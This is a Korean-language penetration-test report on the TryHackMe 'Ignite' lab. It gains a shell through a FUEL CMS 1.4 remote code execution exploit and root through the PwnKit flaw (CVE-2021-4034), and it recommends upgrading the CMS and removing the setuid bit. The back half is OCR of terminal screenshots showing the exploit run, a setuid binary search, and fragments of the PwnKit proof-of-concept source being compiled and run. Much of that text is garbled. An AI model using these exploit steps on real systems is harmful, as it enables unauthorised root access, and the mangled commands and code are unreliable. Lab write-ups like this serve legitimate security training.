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1 [bookmark: _Toc224834187]결과 요약
1-1. 총평
본 시스템은 취약한 버전의 콘텐츠 관리 시스템 프레임워크 (FUEL CMS 1.4)를 사용하였습니다. RCE(원격 코드 실행) 취약점을 이용하여, 웹 쉘을 실행 후 쉘을 접속하였습니다.

커널 단에서는 Pwnkit의 바이너리에 setuid 설정이 걸려있어서 바이너리 취약점을 이용하여, root권한을 탈취하였습니다.

FUEL CMS 버전 업그레이드와 Pwnkit 파일에 setuid를 제거하시기를 강력히 권고드립니다.

1-2. 표 정리

	No
	대상
	취약점
	비고

	1
	FUEL CMS
	원격 코드 실행
	업그레이드 요망

	2
	Pwnkit
	불필요한 setuid
	Setuid 제거 요망










[bookmark: _Toc224834188]2. 취약점 상세 
2-1 RCE 취약점 (FUEL CMS 1.4)
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그림 1. FUEL CMS 기본 페이지
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그림 2. RCE 취약점
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그림 3. 웹 쉘 실행
· 취약한 버전의 FUEL CMS에 맞는
· 웹 쉘을 실행하여
· 대상 시스템의 쉘을 획득하였습니다.










2-2 Setuid 취약점 (Pwnkit)
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그림 4. setuid 실행 파일
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그림 5. CVE-2021-4034 취약점 침투
· Pwnkit 실행파일에 걸려있는
· Setuid를 이용하여
· root권한 탈취
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3-1 RCE 조치 방안
	취약점 항목
	RCE (원격 코드 실행)

	취약점 개요
	FUEL CMS 1.4 버전에서 발견된 취약점으로 웹 쉘을 이용하여 공격자가 쉘을 획득 할 수 있다.

	보안 조치 방법

	· FUEL CMS 버전 업그레이드
· Whitelist를 이용한 서버 접근 제어



3-2 setuid 조치 방안 
	취약점 항목
	불필요한 setuid 설정

	취약점 개요
	CVE-2021-4034 코드를 이용하여 root 권한 탈취

	보안 조치 방법

	· Pwnkit에 설정된 setuid 제거
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(00 ) -I~/tryhackme/ignite ]
()

() (~/tryhackne/gnite)
- searchsploit FUEL CMS 1.4

Exploit Title

Path

FUel OS5 L1 - Remote Code Execution (1)

FUel OS5 1.1 - Remote Code Execution (2)

FUel OS5 101 - Remote Code Execution (3)

FUSlCHS 1013 - “col” Blind SQL Injection (Authenticated)
FUel G5 147 - “col’ SQL Injection (Authenticated)

FUSl CHS 108 - "rucl_replace_id’ SQL Injection (Authenticated)

Linux/webapps/47138.py

php/webapps/49487 .
php/webapps/50477.
php/webapps/50523.
php/webapps/48741.
php/webapps/48778.

b
Py

txt
txt
txt

Shellcodes: No Results

[ ie/aryhackne/ignite)
-1
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B root@kali: ~Jtryhackmefignite
Session Actions Edit View Help

find: ‘/run/user/1000/gvfs’: Permission denied
/ust/share/exploitdb/exploits/php/webapps/50477.py

[ ~/tryhackne/dgnite)
' cp -r /usr/share/exploitdb/exploits/php/webapps/50477.py -

(100 ) [~/tryhackme/ignite]
Ly

1s -1
total 8

—ruxr-xr-x 1 root root 1836 Mar 18 15:48 50477.py
—rw-r—r— 1 root root 533 Mar 18 15:12 scan.res

—rw-r—r— 1 root root  © Mar 18 15:11 taget_IP_10.67.171.27

[ (/aryhackne/ignite)
i 50477.py

) ie/aryhackne/ignite)
#

[ ) (~/tryhackme/ignite)
-+ python 50477.py
usage: python3 50477.py -u <url>

[ L) ~/tryhackne/ignite)
-+ python3 50477.py -u 10.67.171.27
Enter vaild url

[ ) ~/tryhackne/ignite)

- python3 50477.py -u http://10.67.171.27
[+]Connecting
Enter Command $
system

Enter Command $id
systemuid=33(wm-data) gid=33(wm-data) groups=33(wm-data)

Enter Command $fi

R
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root@kali: homelkali
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root@kali: ~/tryhackme/ignite B  root@kali: fhome/kali ®  kali@kali: ~ B

druxrwxrwx 2 root root 4096 Jul 26 2019 scripts
drwxrwxrwx 3 root root 4096 Jul 26 2019 modules
druxrwxrwx 9 root root 4096 Jul 26 2019

drwxrwxrwx 4 root root 4096 Jul 26 2019 ..
<ml/fuel$ sudo Find / -perm -4000 ~type f 2>/dev/null
[sudo] password for wwi-data:
wwi-datagubuntu: /var/wmi/html/fuel$ find / -perm -4000 ~type f 2>/dev/null
/ust/sbin/pppd

/ust/1ib/x86_64-1inux-gnu/oxide-qt/chrome-sandbox
/ust/lib/policykit-1/polkit-agent-helper-1

/ust/1ib/snapd/snap-confine

/ust/1ib/dbus-1.0/dbus-daemon-launch-helper

/ust/lib/xorg/Xorg.urap

/ust/lib/openssh/ssh-keysign

/ust/lib/eject/dncrypt-get-device

/ust/bin/chsh

/ust/bin/gpasswud

/ust/bin/newgrp

/ust/bin/vmware-user-suid-wrapper
/ust/bin/sudo

/ust/bin/chfn

/ust/bin/passud

/bin/su

/bin/pingé

/bin/ntfs-3g

/bin/ping

/bin/mount

/bin/umount

/bin/fusermount

wwi-datagubuntu: /var/wmi/htnl/fuel$ sudo -1
[sudo] password for wwi-data:
Sorry, try again.

[sudo] password for wwi-data:
sudo: 1 incorrect password attempt
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usr/local/sbin: /usr/local/bin: /usr/sbin: /u
‘pwnkit’; /bin/sh\");\n"

systen(\"export PAT
sr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.
; exit(0);\n"

int main(int argc, char sargv[1) {
FILE *fp
system(“mkdir ~p ‘GCONV_PAT}
*GCONV_PATH=. /punkit " ");
system("mkdir -p pwnkit; echo ‘module UTF-8// PWNKIT// punkit 2° > punki
t/gconv-nodules™);
"cve-2021-4034-poc.c” 27 lines, 931 characters written
<ml/fuel$ gcc cve-2021-4034-poc.c -0 Cve-2021-4034-poc
wi-datagubuntu:/var/wm/html/fuel$ 1s -alrt

; touch 'GCONV_PATH=./punkit’; chmod a+x

total 56
drwxrwxrwx 15 root  root 4096 Jul 26 2019 application
druxrwxrwx 2 root  root 4096 Jul 26 2019 licenses
drwxrwxrwx 4 root  root 4096 Jul 26 2019 install

—rwxrwxrwx 1 root oot 40 Jul 26 2019 index.php
drwxrwxrwx 2 root  root 4096 Jul 26 2019 data_backup
druxrwxrwx 8 root  root 4096 Jul 26 2019 codeigniter
druxrwxrwx 2 root  root 4096 Jul 26 2019 scripts

druxrwxrwx 3 root  root 4096 Jul 26 2019 modules

druxrwxrwx 4 root  root 4096 Jul 26 2019 ..

—rw-r—r— 1 ww-data ww-data 931 Mar 18 18:33 cve-2021-4034-poc.c
drwxrwxrwx 9 root  root 4096 Mar 18 18:34

—ruxr-xr-x 1 ww-data wm-data 8920 Mar 18 18:34 cve-2021-4034-poc
wuwi—datagubuntu: /var/wm/htnl/fuel$ ./cve-2021-4034-poc

(root) groups=0(root),33(wmi-data)
# python3 —c "import pty;pty.spawn("/bin/bash")
rootaubuntu: /var/wm/html/fuels

rootaubuntu: /var/wmi/html/fuels

rootaubuntu: /var/wmi/html/fuels ||
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Welcome to Fuel CMS

Version 1.4

Getting Started

. Change the Apache .htaccess file

Change the Apache htaccess found at the foot of FUEL CMS's Installation folder to the proper
RewriteBase directory. The default is your web server's root directory (e.g /"), but if you have FUEL
CMS installed in a sub folder, you will need to add the path to line 5 I you are using the folder it was
2ipped up In from GitHub, it would be RewriteBase /FUEL-CMS-master/.





